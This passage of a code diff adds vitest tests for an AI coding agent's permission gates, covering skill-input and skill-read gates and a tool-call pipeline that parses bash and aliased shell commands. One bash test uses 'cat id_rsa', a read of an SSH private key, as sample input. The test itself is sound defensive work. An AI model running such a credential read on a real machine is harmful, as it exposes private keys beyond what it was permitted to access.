await runner.run(bypass, null);
|
||||
expect(decisions[0].requestId).toMatch(/^perm-/);
|
||||
expect(decisions[0].requestId).toBe(reviewWrites[0].details.requestId);
|
||||
});
|
||||
|
||||
it("stamps an allow decision event even when nothing is written to the log", async () => {
|
||||
const { runner, decisions } = makeRecordingRunner();
|
||||
await runner.run(makeDescriptor(), null);
|
||||
expect(decisions[0].requestId).toMatch(/^perm-/);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,161 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
import {
|
||||
formatSkillDenyNotice,
|
||||
SkillInputGatePipeline,
|
||||
} from "#src/handlers/gates/skill-input-gate-pipeline";
|
||||
|
||||
import {
|
||||
makeGateRunner,
|
||||
makeNotifier,
|
||||
makeSkillInputInputs,
|
||||
} from "#test/helpers/gate-fixtures";
|
||||
import { makeCheckResult } from "#test/helpers/handler-fixtures";
|
||||
|
||||
// ── formatSkillDenyNotice ─────────────────────────────────────────────────
|
||||
|
||||
describe("formatSkillDenyNotice", () => {
|
||||
it("includes the skill name in the message (no agent)", () => {
|
||||
const msg = formatSkillDenyNotice("librarian", null);
|
||||
expect(msg).toContain("librarian");
|
||||
});
|
||||
|
||||
it("includes the skill name and agent name when agent is present", () => {
|
||||
const msg = formatSkillDenyNotice("librarian", "code-agent");
|
||||
expect(msg).toContain("librarian");
|
||||
expect(msg).toContain("code-agent");
|
||||
});
|
||||
});
|
||||
|
||||
// ── SkillInputGatePipeline.evaluate ───────────────────────────────────────
|
||||
|
||||
describe("SkillInputGatePipeline.evaluate", () => {
|
||||
// ── notifier behaviour ──────────────────────────────────────────────────
|
||||
|
||||
it("calls notifier.warn when the skill is denied", async () => {
|
||||
const inputs = makeSkillInputInputs({
|
||||
checkPermission: () => makeCheckResult({ state: "deny" }),
|
||||
});
|
||||
const notifier = makeNotifier();
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new SkillInputGatePipeline(inputs);
|
||||
|
||||
await pipeline.evaluate("librarian", null, notifier, runner);
|
||||
|
||||
expect(notifier.warn).toHaveBeenCalledOnce();
|
||||
expect(notifier.warn).toHaveBeenCalledWith(
|
||||
expect.stringContaining("librarian"),
|
||||
);
|
||||
});
|
||||
|
||||
it("does not call notifier.warn when the skill is allowed", async () => {
|
||||
const inputs = makeSkillInputInputs({
|
||||
checkPermission: () => makeCheckResult({ state: "allow" }),
|
||||
});
|
||||
const notifier = makeNotifier();
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new SkillInputGatePipeline(inputs);
|
||||
|
||||
await pipeline.evaluate("librarian", null, notifier, runner);
|
||||
|
||||
expect(notifier.warn).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("does not call notifier.warn when the skill requires approval (ask)", async () => {
|
||||
const inputs = makeSkillInputInputs({
|
||||
checkPermission: () => makeCheckResult({ state: "ask" }),
|
||||
});
|
||||
const notifier = makeNotifier();
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new SkillInputGatePipeline(inputs);
|
||||
|
||||
await pipeline.evaluate("librarian", null, notifier, runner);
|
||||
|
||||
expect(notifier.warn).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("includes agent name in the deny notice when agent is present", async () => {
|
||||
const inputs = makeSkillInputInputs({
|
||||
checkPermission: () => makeCheckResult({ state: "deny" }),
|
||||
});
|
||||
const notifier = makeNotifier();
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new SkillInputGatePipeline(inputs);
|
||||
|
||||
await pipeline.evaluate("librarian", "code-agent", notifier, runner);
|
||||
|
||||
expect(notifier.warn).toHaveBeenCalledWith(
|
||||
expect.stringContaining("code-agent"),
|
||||
);
|
||||
});
|
||||
|
||||
// ── outcome mapping ─────────────────────────────────────────────────────
|
||||
|
||||
it("returns allow when the gate passes", async () => {
|
||||
const inputs = makeSkillInputInputs({
|
||||
checkPermission: () => makeCheckResult({ state: "allow" }),
|
||||
});
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new SkillInputGatePipeline(inputs);
|
||||
|
||||
const result = await pipeline.evaluate(
|
||||
"librarian",
|
||||
null,
|
||||
makeNotifier(),
|
||||
runner,
|
||||
);
|
||||
|
||||
expect(result).toEqual({ action: "allow" });
|
||||
});
|
||||
|
||||
it("returns block when the gate denies", async () => {
|
||||
const inputs = makeSkillInputInputs({
|
||||
checkPermission: () =>
|
||||
makeCheckResult({ state: "deny", matchedPattern: "*" }),
|
||||
});
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new SkillInputGatePipeline(inputs);
|
||||
|
||||
const result = await pipeline.evaluate(
|
||||
"librarian",
|
||||
null,
|
||||
makeNotifier(),
|
||||
runner,
|
||||
);
|
||||
|
||||
expect(result).toEqual({
|
||||
action: "block",
|
||||
reason: expect.stringContaining("librarian"),
|
||||
});
|
||||
});
|
||||
|
||||
// ── checkPermission call ────────────────────────────────────────────────
|
||||
|
||||
it("calls checkPermission with the skill surface, skill name, and agent name", async () => {
|
||||
const inputs = makeSkillInputInputs();
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new SkillInputGatePipeline(inputs);
|
||||
|
||||
await pipeline.evaluate("explorer", "code-agent", makeNotifier(), runner);
|
||||
|
||||
expect(inputs.checkPermission).toHaveBeenCalledWith(
|
||||
"skill",
|
||||
{ name: "explorer" },
|
||||
"code-agent",
|
||||
);
|
||||
});
|
||||
|
||||
it("calls checkPermission with undefined agentName when agentName is null", async () => {
|
||||
const inputs = makeSkillInputInputs();
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new SkillInputGatePipeline(inputs);
|
||||
|
||||
await pipeline.evaluate("explorer", null, makeNotifier(), runner);
|
||||
|
||||
expect(inputs.checkPermission).toHaveBeenCalledWith(
|
||||
"skill",
|
||||
{ name: "explorer" },
|
||||
undefined,
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,146 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
import { describeSkillInputGate } from "#src/handlers/gates/skill-input";
|
||||
import { makeCheckResult } from "#test/helpers/handler-fixtures";
|
||||
|
||||
// ── helpers ────────────────────────────────────────────────────────────────
|
||||
|
||||
function makeSkillCheck(state: "allow" | "deny" | "ask") {
|
||||
return makeCheckResult({
|
||||
state,
|
||||
toolName: "skill",
|
||||
source: "skill",
|
||||
origin: "global",
|
||||
matchedPattern: "*",
|
||||
});
|
||||
}
|
||||
|
||||
// ── describeSkillInputGate ─────────────────────────────────────────────────
|
||||
|
||||
describe("describeSkillInputGate", () => {
|
||||
it("sets surface to 'skill'", () => {
|
||||
const descriptor = describeSkillInputGate(
|
||||
"librarian",
|
||||
null,
|
||||
makeSkillCheck("allow"),
|
||||
);
|
||||
expect(descriptor.surface).toBe("skill");
|
||||
});
|
||||
|
||||
it("sets input.name to the skill name", () => {
|
||||
const descriptor = describeSkillInputGate(
|
||||
"librarian",
|
||||
null,
|
||||
makeSkillCheck("allow"),
|
||||
);
|
||||
expect(descriptor.input).toEqual({ name: "librarian" });
|
||||
});
|
||||
|
||||
it("passes preCheck through verbatim", () => {
|
||||
const check = makeSkillCheck("deny");
|
||||
const descriptor = describeSkillInputGate("librarian", null, check);
|
||||
expect(descriptor.preCheck).toBe(check);
|
||||
});
|
||||
|
||||
it("makes the skill the payload's decision-relevant value", () => {
|
||||
const descriptor = describeSkillInputGate(
|
||||
"librarian",
|
||||
null,
|
||||
makeSkillCheck("allow"),
|
||||
);
|
||||
expect(descriptor.payload.kind).toBe("skill");
|
||||
expect(descriptor.payload.request.surface).toBe("skill");
|
||||
expect(descriptor.payload.request.value).toBe("librarian");
|
||||
expect(descriptor.payload.request.requester.agentName).toBeNull();
|
||||
});
|
||||
|
||||
it("names the requesting agent on the payload when provided", () => {
|
||||
const descriptor = describeSkillInputGate(
|
||||
"librarian",
|
||||
"code-agent",
|
||||
makeSkillCheck("allow"),
|
||||
);
|
||||
expect(descriptor.payload.request.requester.agentName).toBe("code-agent");
|
||||
});
|
||||
|
||||
it("sets promptDetails source to 'skill_input' with skill name and agent", () => {
|
||||
const descriptor = describeSkillInputGate(
|
||||
"librarian",
|
||||
"code-agent",
|
||||
makeSkillCheck("ask"),
|
||||
);
|
||||
expect(descriptor.promptDetails).toMatchObject({
|
||||
source: "skill_input",
|
||||
agentName: "code-agent",
|
||||
skillName: "librarian",
|
||||
});
|
||||
});
|
||||
|
||||
it("emits a skill payload naming the skill as the decision value", () => {
|
||||
const descriptor = describeSkillInputGate(
|
||||
"librarian",
|
||||
"code-agent",
|
||||
makeSkillCheck("ask"),
|
||||
);
|
||||
|
||||
expect(descriptor.payload.kind).toBe("skill");
|
||||
expect(descriptor.payload.request.value).toBe("librarian");
|
||||
});
|
||||
|
||||
it("names the skill in promptDetails so the prompt can identify it", () => {
|
||||
const descriptor = describeSkillInputGate(
|
||||
"librarian",
|
||||
null,
|
||||
makeSkillCheck("ask"),
|
||||
);
|
||||
expect(descriptor.promptDetails.skillName).toBe("librarian");
|
||||
});
|
||||
|
||||
it("sets logContext source to 'skill_input' with skill name and agent", () => {
|
||||
const descriptor = describeSkillInputGate(
|
||||
"librarian",
|
||||
"code-agent",
|
||||
makeSkillCheck("allow"),
|
||||
);
|
||||
expect(descriptor.logContext).toMatchObject({
|
||||
source: "skill_input",
|
||||
skillName: "librarian",
|
||||
agentName: "code-agent",
|
||||
});
|
||||
});
|
||||
|
||||
it("sets decision surface to 'skill' and value to the skill name", () => {
|
||||
const descriptor = describeSkillInputGate(
|
||||
"my-skill",
|
||||
null,
|
||||
makeSkillCheck("allow"),
|
||||
);
|
||||
expect(descriptor.decision).toEqual({
|
||||
surface: "skill",
|
||||
value: "my-skill",
|
||||
});
|
||||
});
|
||||
|
||||
it("carries the skill name as single-value access facts on promptDetails", () => {
|
||||
const descriptor = describeSkillInputGate(
|
||||
"my-skill",
|
||||
null,
|
||||
makeSkillCheck("ask"),
|
||||
);
|
||||
expect(descriptor.promptDetails.accessIntent).toEqual({
|
||||
surface: "skill",
|
||||
matchValues: ["my-skill"],
|
||||
boundaryValue: null,
|
||||
});
|
||||
});
|
||||
|
||||
it("does not set preResolved or sessionApproval", () => {
|
||||
const descriptor = describeSkillInputGate(
|
||||
"librarian",
|
||||
null,
|
||||
makeSkillCheck("allow"),
|
||||
);
|
||||
expect(descriptor.preResolved).toBeUndefined();
|
||||
expect(descriptor.sessionApproval).toBeUndefined();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,185 @@
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import { describeSkillReadGate } from "#src/handlers/gates/skill-read";
|
||||
import type { ToolCallContext } from "#src/handlers/gates/types";
|
||||
import { posixPathFlavor } from "#src/path/path-flavor";
|
||||
import { PathNormalizer } from "#src/path-normalizer";
|
||||
import type { SkillPromptEntry } from "#src/skill-prompt-sanitizer";
|
||||
|
||||
// All test tccs use cwd "/test/project"; one normalizer serves every call.
|
||||
const normalizer = new PathNormalizer(posixPathFlavor, "/test/project");
|
||||
|
||||
// ── SDK stubs ──────────────────────────────────────────────────────────────
|
||||
vi.mock("@earendil-works/pi-coding-agent", async (importOriginal) => {
|
||||
const original =
|
||||
await importOriginal<typeof import("@earendil-works/pi-coding-agent")>();
|
||||
return { ...original };
|
||||
});
|
||||
|
||||
// ── helpers ────────────────────────────────────────────────────────────────
|
||||
|
||||
function makeSkillEntry(
|
||||
overrides: Partial<SkillPromptEntry> = {},
|
||||
): SkillPromptEntry {
|
||||
return {
|
||||
name: "librarian",
|
||||
description: "Research skills",
|
||||
location: "/skills/librarian/SKILL.md",
|
||||
state: "ask",
|
||||
normalizedLocation: "/skills/librarian/SKILL.md",
|
||||
normalizedBaseDir: "/skills/librarian",
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function makeTcc(overrides: Partial<ToolCallContext> = {}): ToolCallContext {
|
||||
return {
|
||||
toolName: "read",
|
||||
agentName: null,
|
||||
input: { path: "/skills/librarian/SKILL.md" },
|
||||
toolCallId: "tc-1",
|
||||
cwd: "/test/project",
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
// ── tests ──────────────────────────────────────────────────────────────────
|
||||
|
||||
describe("describeSkillReadGate", () => {
|
||||
it("returns null when tool is not read", () => {
|
||||
const result = describeSkillReadGate(
|
||||
makeTcc({ toolName: "write" }),
|
||||
normalizer,
|
||||
() => [makeSkillEntry()],
|
||||
);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
|
||||
it("returns null when no active skill entries", () => {
|
||||
const result = describeSkillReadGate(makeTcc(), normalizer, () => []);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
|
||||
it("returns null when read path does not match any skill", () => {
|
||||
const result = describeSkillReadGate(
|
||||
makeTcc({ input: { path: "/test/project/src/index.ts" } }),
|
||||
normalizer,
|
||||
() => [makeSkillEntry()],
|
||||
);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
|
||||
it("returns null when input has no path", () => {
|
||||
const result = describeSkillReadGate(
|
||||
makeTcc({ input: {} }),
|
||||
normalizer,
|
||||
() => [makeSkillEntry()],
|
||||
);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
|
||||
it("returns GateDescriptor with preResolved.state matching skill entry state (ask)", () => {
|
||||
const result = describeSkillReadGate(makeTcc(), normalizer, () => [
|
||||
makeSkillEntry({ state: "ask" }),
|
||||
]);
|
||||
expect(result).not.toBeNull();
|
||||
const desc = result!;
|
||||
expect(desc.preResolved).toEqual({ state: "ask" });
|
||||
});
|
||||
|
||||
it("returns GateDescriptor with preResolved.state matching skill entry state (allow)", () => {
|
||||
const result = describeSkillReadGate(makeTcc(), normalizer, () => [
|
||||
makeSkillEntry({ state: "allow" }),
|
||||
]);
|
||||
expect(result).not.toBeNull();
|
||||
const desc = result!;
|
||||
expect(desc.preResolved).toEqual({ state: "allow" });
|
||||
});
|
||||
|
||||
it("returns GateDescriptor with preResolved.state matching skill entry state (deny)", () => {
|
||||
const result = describeSkillReadGate(makeTcc(), normalizer, () => [
|
||||
makeSkillEntry({ state: "deny" }),
|
||||
]);
|
||||
expect(result).not.toBeNull();
|
||||
const desc = result!;
|
||||
expect(desc.preResolved).toEqual({ state: "deny" });
|
||||
});
|
||||
|
||||
it("decision surface is 'skill' and decision value is the skill name", () => {
|
||||
const result = describeSkillReadGate(makeTcc(), normalizer, () => [
|
||||
makeSkillEntry({ name: "my-skill" }),
|
||||
])!;
|
||||
expect(result.decision.surface).toBe("skill");
|
||||
expect(result.decision.value).toBe("my-skill");
|
||||
});
|
||||
|
||||
it("carries the skill name as single-value access facts on promptDetails", () => {
|
||||
const result = describeSkillReadGate(makeTcc(), normalizer, () => [
|
||||
makeSkillEntry({ name: "my-skill" }),
|
||||
])!;
|
||||
expect(result.promptDetails.accessIntent).toEqual({
|
||||
surface: "skill",
|
||||
matchValues: ["my-skill"],
|
||||
boundaryValue: null,
|
||||
});
|
||||
});
|
||||
|
||||
it("emits a skill_read payload keeping the skill as the decision value", () => {
|
||||
const result = describeSkillReadGate(makeTcc(), normalizer, () => [
|
||||
makeSkillEntry({ name: "my-skill" }),
|
||||
])!;
|
||||
|
||||
expect(result.payload.kind).toBe("skill_read");
|
||||
expect(result.payload.request.value).toBe("my-skill");
|
||||
});
|
||||
|
||||
it("payload contains the skill name and the path it was reached through", () => {
|
||||
const result = describeSkillReadGate(makeTcc(), normalizer, () => [
|
||||
makeSkillEntry({ name: "librarian" }),
|
||||
])!;
|
||||
expect(result.payload.kind).toBe("skill_read");
|
||||
expect(result.payload.request.value).toBe("librarian");
|
||||
expect(result.payload.request.requester.agentName).toBeNull();
|
||||
expect(result.payload.evidence).toEqual([
|
||||
{
|
||||
label: "read path",
|
||||
text: "/skills/librarian/SKILL.md",
|
||||
detail: null,
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
it("promptDetails includes skill_read source and skillName", () => {
|
||||
const result = describeSkillReadGate(
|
||||
makeTcc({ agentName: "test-agent", toolCallId: "tc-42" }),
|
||||
normalizer,
|
||||
() => [makeSkillEntry({ name: "my-skill" })],
|
||||
)!;
|
||||
expect(result.promptDetails).toMatchObject({
|
||||
source: "skill_read",
|
||||
agentName: "test-agent",
|
||||
toolCallId: "tc-42",
|
||||
toolName: "read",
|
||||
skillName: "my-skill",
|
||||
});
|
||||
});
|
||||
|
||||
it("logContext includes skill_read source and skillName", () => {
|
||||
const result = describeSkillReadGate(
|
||||
makeTcc({ agentName: "agent-1" }),
|
||||
normalizer,
|
||||
() => [makeSkillEntry({ name: "librarian" })],
|
||||
)!;
|
||||
expect(result.logContext).toMatchObject({
|
||||
source: "skill_read",
|
||||
skillName: "librarian",
|
||||
agentName: "agent-1",
|
||||
});
|
||||
});
|
||||
|
||||
it("surface is 'skill' on the descriptor", () => {
|
||||
const result = describeSkillReadGate(makeTcc(), normalizer, () => [
|
||||
makeSkillEntry(),
|
||||
])!;
|
||||
expect(result.surface).toBe("skill");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,487 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
import type { AccessPath } from "#src/access-intent/access-path";
|
||||
import { ToolCallGatePipeline } from "#src/handlers/gates/tool-call-gate-pipeline";
|
||||
import { PathNormalizer } from "#src/path-normalizer";
|
||||
|
||||
import {
|
||||
makeGateInputs,
|
||||
makeGateRunner,
|
||||
makeResolver,
|
||||
makeTcc,
|
||||
} from "#test/helpers/gate-fixtures";
|
||||
import { makeCheckResult } from "#test/helpers/handler-fixtures";
|
||||
|
||||
// ── BashProgram.parse mock ─────────────────────────────────────────────────
|
||||
|
||||
const { mockBashProgramParse } = vi.hoisted(() => ({
|
||||
mockBashProgramParse: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("#src/access-intent/bash/program", () => ({
|
||||
BashProgram: { parse: mockBashProgramParse },
|
||||
}));
|
||||
|
||||
// Mock node:fs so realpathSync (used by canonicalizePath) is controllable for
|
||||
// the per-tool symlink-resolution test. Default implementation is identity.
|
||||
const realpathSync = vi.hoisted(() =>
|
||||
vi.fn<(path: string) => string>((p) => p),
|
||||
);
|
||||
vi.mock("node:fs", () => ({
|
||||
realpathSync,
|
||||
default: { realpathSync },
|
||||
}));
|
||||
|
||||
function makeMockBashProgram(command = "echo hello") {
|
||||
return {
|
||||
commandText: vi.fn(() => command),
|
||||
commands: vi.fn<() => []>(() => []),
|
||||
pathRuleCandidates: vi.fn<() => []>(() => []),
|
||||
externalPaths: vi.fn<() => AccessPath[]>(() => []),
|
||||
};
|
||||
}
|
||||
|
||||
// ── ToolCallGatePipeline ───────────────────────────────────────────────────
|
||||
|
||||
describe("ToolCallGatePipeline", () => {
|
||||
beforeEach(() => {
|
||||
mockBashProgramParse.mockReset();
|
||||
mockBashProgramParse.mockResolvedValue(makeMockBashProgram());
|
||||
realpathSync.mockReset();
|
||||
realpathSync.mockImplementation((p: string) => p);
|
||||
});
|
||||
|
||||
// ── non-bash tools ───────────────────────────────────────────────────────
|
||||
|
||||
describe("evaluate — non-bash tool", () => {
|
||||
it("returns allow when all gates pass", async () => {
|
||||
const resolver = makeResolver(makeCheckResult());
|
||||
const inputs = makeGateInputs();
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
|
||||
const result = await pipeline.evaluate(
|
||||
makeTcc({ toolName: "read", input: {} }),
|
||||
runner,
|
||||
);
|
||||
|
||||
expect(result).toEqual({ action: "allow" });
|
||||
});
|
||||
|
||||
it("returns block when the tool gate denies", async () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ state: "deny", matchedPattern: "*" }),
|
||||
);
|
||||
const inputs = makeGateInputs();
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
|
||||
const result = await pipeline.evaluate(
|
||||
makeTcc({ toolName: "read", input: {} }),
|
||||
runner,
|
||||
);
|
||||
|
||||
expect(result).toMatchObject({ action: "block" });
|
||||
});
|
||||
|
||||
it("short-circuits after the first blocking gate without evaluating later ones", async () => {
|
||||
const resolver = makeResolver(makeCheckResult());
|
||||
const inputs = makeGateInputs();
|
||||
const { runner } = makeGateRunner();
|
||||
const runSpy = vi
|
||||
.spyOn(runner, "run")
|
||||
.mockResolvedValue({ action: "block", reason: "first gate blocked" });
|
||||
|
||||
const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
const result = await pipeline.evaluate(
|
||||
makeTcc({ toolName: "read", input: {} }),
|
||||
runner,
|
||||
);
|
||||
|
||||
expect(result).toEqual({ action: "block", reason: "first gate blocked" });
|
||||
// Pipeline looped to the first gate, got block, and stopped — not all 6 gates.
|
||||
expect(runSpy).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("calls getToolPreviewLimits() during evaluate", async () => {
|
||||
const getToolPreviewLimits = vi.fn(() => ({
|
||||
toolInputPreviewMaxLength: 500,
|
||||
toolTextSummaryMaxLength: 100,
|
||||
}));
|
||||
const resolver = makeResolver(makeCheckResult());
|
||||
const inputs = makeGateInputs({ getToolPreviewLimits });
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
|
||||
await pipeline.evaluate(makeTcc({ toolName: "read", input: {} }), runner);
|
||||
|
||||
expect(getToolPreviewLimits).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("calls getInfrastructureReadDirs() during evaluate", async () => {
|
||||
const getInfrastructureReadDirs = vi.fn<() => string[]>(() => []);
|
||||
const resolver = makeResolver(makeCheckResult());
|
||||
const inputs = makeGateInputs({ getInfrastructureReadDirs });
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
|
||||
await pipeline.evaluate(makeTcc({ toolName: "read", input: {} }), runner);
|
||||
|
||||
expect(getInfrastructureReadDirs).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("calls getActiveSkillEntries() during evaluate", async () => {
|
||||
const getActiveSkillEntries = vi.fn<() => []>(() => []);
|
||||
const resolver = makeResolver(makeCheckResult());
|
||||
const inputs = makeGateInputs({ getActiveSkillEntries });
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
|
||||
await pipeline.evaluate(makeTcc({ toolName: "read", input: {} }), runner);
|
||||
|
||||
expect(getActiveSkillEntries).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("does not call BashProgram.parse for non-bash tools", async () => {
|
||||
const resolver = makeResolver(makeCheckResult());
|
||||
const inputs = makeGateInputs();
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
|
||||
await pipeline.evaluate(makeTcc({ toolName: "read", input: {} }), runner);
|
||||
|
||||
expect(mockBashProgramParse).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
// ── bash tool ────────────────────────────────────────────────────────────
|
||||
|
||||
describe("evaluate — bash tool", () => {
|
||||
it("returns allow when the bash command is permitted", async () => {
|
||||
const resolver = makeResolver(makeCheckResult());
|
||||
const inputs = makeGateInputs();
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
|
||||
const result = await pipeline.evaluate(
|
||||
makeTcc({ toolName: "bash", input: { command: "echo hello" } }),
|
||||
runner,
|
||||
);
|
||||
|
||||
expect(result).toEqual({ action: "allow" });
|
||||
});
|
||||
|
||||
it("parses BashProgram exactly once per evaluate for bash tools with a command", async () => {
|
||||
const resolver = makeResolver(makeCheckResult());
|
||||
const inputs = makeGateInputs();
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
|
||||
await pipeline.evaluate(
|
||||
makeTcc({ toolName: "bash", input: { command: "echo hello" } }),
|
||||
runner,
|
||||
);
|
||||
|
||||
expect(mockBashProgramParse).toHaveBeenCalledTimes(1);
|
||||
expect(mockBashProgramParse).toHaveBeenCalledWith(
|
||||
"echo hello",
|
||||
expect.any(PathNormalizer),
|
||||
{ workdir: undefined },
|
||||
);
|
||||
});
|
||||
|
||||
it("does not parse BashProgram when the bash command is empty", async () => {
|
||||
const resolver = makeResolver(makeCheckResult());
|
||||
const inputs = makeGateInputs();
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
|
||||
await pipeline.evaluate(
|
||||
makeTcc({ toolName: "bash", input: { command: "" } }),
|
||||
runner,
|
||||
);
|
||||
|
||||
expect(mockBashProgramParse).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("parses a bash command with no policy input — candidacy is not rule-driven (#645)", async () => {
|
||||
const resolver = makeResolver(makeCheckResult());
|
||||
const inputs = makeGateInputs();
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
|
||||
await pipeline.evaluate(
|
||||
makeTcc({
|
||||
toolName: "bash",
|
||||
input: { command: "cat id_rsa" },
|
||||
agentName: "my-agent",
|
||||
}),
|
||||
runner,
|
||||
);
|
||||
|
||||
expect(mockBashProgramParse).toHaveBeenCalledWith(
|
||||
"cat id_rsa",
|
||||
expect.any(PathNormalizer),
|
||||
{ workdir: undefined },
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
// ── aliased shell tool (#574) ────────────────────────────────────────────
|
||||
|
||||
describe("evaluate — aliased shell tool (#574)", () => {
|
||||
const execAliases = {
|
||||
exec_command: { commandArgument: "cmd", workdirArgument: "workdir" },
|
||||
};
|
||||
|
||||
function bashProgramWithCommand(text: string) {
|
||||
return {
|
||||
commandText: vi.fn(() => text),
|
||||
commands: vi.fn(() => [{ text }]),
|
||||
pathRuleCandidates: vi.fn<() => []>(() => []),
|
||||
externalPaths: vi.fn<() => AccessPath[]>(() => []),
|
||||
};
|
||||
}
|
||||
|
||||
it("consults getShellToolAliases and parses the aliased command argument", async () => {
|
||||
const getShellToolAliases = vi.fn(() => execAliases);
|
||||
const resolver = makeResolver(makeCheckResult());
|
||||
const inputs = makeGateInputs({ getShellToolAliases });
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
|
||||
await pipeline.evaluate(
|
||||
makeTcc({ toolName: "exec_command", input: { cmd: "npm install" } }),
|
||||
runner,
|
||||
);
|
||||
|
||||
expect(getShellToolAliases).toHaveBeenCalled();
|
||||
expect(mockBashProgramParse).toHaveBeenCalledWith(
|
||||
"npm install",
|
||||
expect.any(PathNormalizer),
|
||||
{ workdir: undefined },
|
||||
);
|
||||
});
|
||||
|
||||
it("threads the aliased workdir argument into BashProgram.parse (#574)", async () => {
|
||||
const inputs = makeGateInputs({
|
||||
getShellToolAliases: () => execAliases,
|
||||
});
|
||||
const resolver = makeResolver(makeCheckResult());
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
|
||||
await pipeline.evaluate(
|
||||
makeTcc({
|
||||
toolName: "exec_command",
|
||||
input: { cmd: "cat file", workdir: "/etc" },
|
||||
}),
|
||||
runner,
|
||||
);
|
||||
|
||||
expect(mockBashProgramParse).toHaveBeenCalledWith(
|
||||
"cat file",
|
||||
expect.any(PathNormalizer),
|
||||
{ workdir: "/etc" },
|
||||
);
|
||||
});
|
||||
|
||||
it("resolves the aliased per-tool check on the bash surface, never the tool's own", async () => {
|
||||
mockBashProgramParse.mockResolvedValue(
|
||||
bashProgramWithCommand("npm install"),
|
||||
);
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ source: "bash", command: "npm install" }),
|
||||
);
|
||||
const inputs = makeGateInputs({
|
||||
getShellToolAliases: () => execAliases,
|
||||
});
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
|
||||
await pipeline.evaluate(
|
||||
makeTcc({ toolName: "exec_command", input: { cmd: "npm install" } }),
|
||||
runner,
|
||||
);
|
||||
|
||||
const bashCall = resolver.resolve.mock.calls.find(
|
||||
([intent]) => intent.surface === "bash",
|
||||
);
|
||||
expect(bashCall?.[0]).toMatchObject({
|
||||
surface: "bash",
|
||||
input: { command: "npm install" },
|
||||
});
|
||||
const aliasCall = resolver.resolve.mock.calls.find(
|
||||
([intent]) => intent.surface === "exec_command",
|
||||
);
|
||||
expect(aliasCall).toBeUndefined();
|
||||
});
|
||||
|
||||
it("blocks an aliased command denied on the bash surface", async () => {
|
||||
mockBashProgramParse.mockResolvedValue(
|
||||
bashProgramWithCommand("npm install"),
|
||||
);
|
||||
const resolver = makeResolver();
|
||||
resolver.resolve.mockImplementation((intent) =>
|
||||
intent.surface === "bash"
|
||||
? makeCheckResult({
|
||||
state: "deny",
|
||||
source: "bash",
|
||||
command: "npm install",
|
||||
matchedPattern: "npm *",
|
||||
})
|
||||
: makeCheckResult(),
|
||||
);
|
||||
const inputs = makeGateInputs({
|
||||
getShellToolAliases: () => execAliases,
|
||||
});
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
|
||||
const result = await pipeline.evaluate(
|
||||
makeTcc({ toolName: "exec_command", input: { cmd: "npm install" } }),
|
||||
runner,
|
||||
);
|
||||
|
||||
expect(result).toMatchObject({ action: "block" });
|
||||
});
|
||||
|
||||
it("does not treat an extension tool as a shell without a shellTools alias", async () => {
|
||||
const resolver = makeResolver(makeCheckResult());
|
||||
const inputs = makeGateInputs(); // getShellToolAliases → undefined
|
||||
const { runner } = makeGateRunner();
|
||||
